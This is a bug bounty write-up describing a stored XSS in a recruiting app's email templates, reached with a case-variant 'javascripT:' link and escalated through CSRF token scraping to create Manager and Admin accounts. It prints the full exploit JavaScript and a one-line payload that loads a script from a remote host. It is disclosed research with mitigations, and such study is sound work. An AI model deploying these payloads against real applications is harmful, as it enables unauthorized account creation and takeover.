The target and initial discovery
The target was an external recruiting application with multiple roles: Admin, Manager and Staff. Users could create templates for email outreach, each with a title, a body, and support for inserting links. While testing the template inputs, I noticed link insertion behaving oddly.
I tried the usual payloads like javascript:alert() and got validation errors about invalid syntax. After a few case variations, I managed to store a link with javascripT:alert(1). It didn't execute inside the editor or the composer, so at first it looked harmless.
Where the XSS actually fired
The application echoed certain outgoing emails into an Activity feed. When that echo rendered the stored template, the javascripT: link executed. If you select visible text in the body and attach a link to it, the malicious href hides behind normal-looking text, so the content reads as benign while the underlying link is the payload.
Escalation plan: CSRF token scraping
Cookies were set with the HttpOnly flag, so stealing them with JavaScript was off the table. The plan instead was to steal CSRF tokens from admin pages and fire requests from the victim's own browser. Since the browser is on the same origin, cookies and session credentials get sent automatically. So the exploit runs inside a privileged user's browser, pulls the CSRF token, and calls privileged APIs using their session.
The steps:
- Store an XSS payload that loads a remote script when a privileged user clicks it in Activity.
- The remote script requests a protected admin page that contains a CSRF token in its HTML.
- It parses the HTML, extracts the token, and issues a POST to the add-user API with the token, letting the browser send cookies automatically.
- A new Manager or Admin user is created, and the attacker logs in with those credentials.
The exploit code
The hosted exploit first fetched the admin "add" page, parsed the CSRF token from the HTML, then posted to the user-creation endpoint using credentials: 'include'.
function readBody(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('_csrf')[0].content; // grab first token
csrf(token);
return data;
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
response = readBody(xhr);
}
};
xhr.open('GET', 'https://target.com/admin/add', true);
xhr.send(null);
function csrf(token) {
fetch('https://target.com/api/add.action', {
method: 'POST',
headers: {
'Accept': 'application/json, text/plain, */*',
'X-Csrf-Token': token,
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'Referer': 'https://target.com/admin/add'
},
credentials: 'include',
body: 'firstName=hacker&lastName=r29k&emailId=r29k%40gmail.com&phoneNo=&Permissions=1'
});
}
The stored payload itself was a single-line loader that appended a remote script tag:
javascript:var s=document.createElement('script');s.type='text/javascript';s.src='https://myserver/file.js';document.head.appendChild(s);
Execution and outcome
The Activity echo is visible to Managers and Admins. When a Manager clicked the echoed email, the hosted script ran in their browser, fetched the admin add page, extracted the CSRF token, and posted the add-user request using the Manager's session. A new Manager-level user was created and I had the credentials.
Once my Admin account was unlocked, I ran the same exploit and created an Admin-level user. The vendor validated the report, and the bounty awarded was 1,000 USD.
Responsible disclosure and credits
I submitted a detailed report with the PoC and mitigation suggestions.
Mitigations
- Don't allow
javascript:protocols in user-supplied links. Normalize and validate href attributes on the server before saving. - Escape or sanitize user-generated HTML before rendering in privileged contexts. Avoid echoing raw templates into admin-facing feeds.
- Keep CSRF tokens out of easily parsed HTML. Prefer server-bound CSRF verification tied to session state and same-site cookie policies.
- Apply a strict Content Security Policy on privileged pages to block inline scripts and untrusted sources.
- Audit WYSIWYG and template editors so they sanitize pasted content and disallow dangerous protocols.
Final notes
Stored XSS that looks harmless in the editor can be a powerful escalation vector once it renders into a privileged UI. Small behaviors, like permitting odd href casing or echoing templates back into an Activity feed, are enough to reach account takeover quickly once the chain comes together.
Questions or feedback? Reach me on LinkedIn, Sheraz Khalid. Thanks for reading.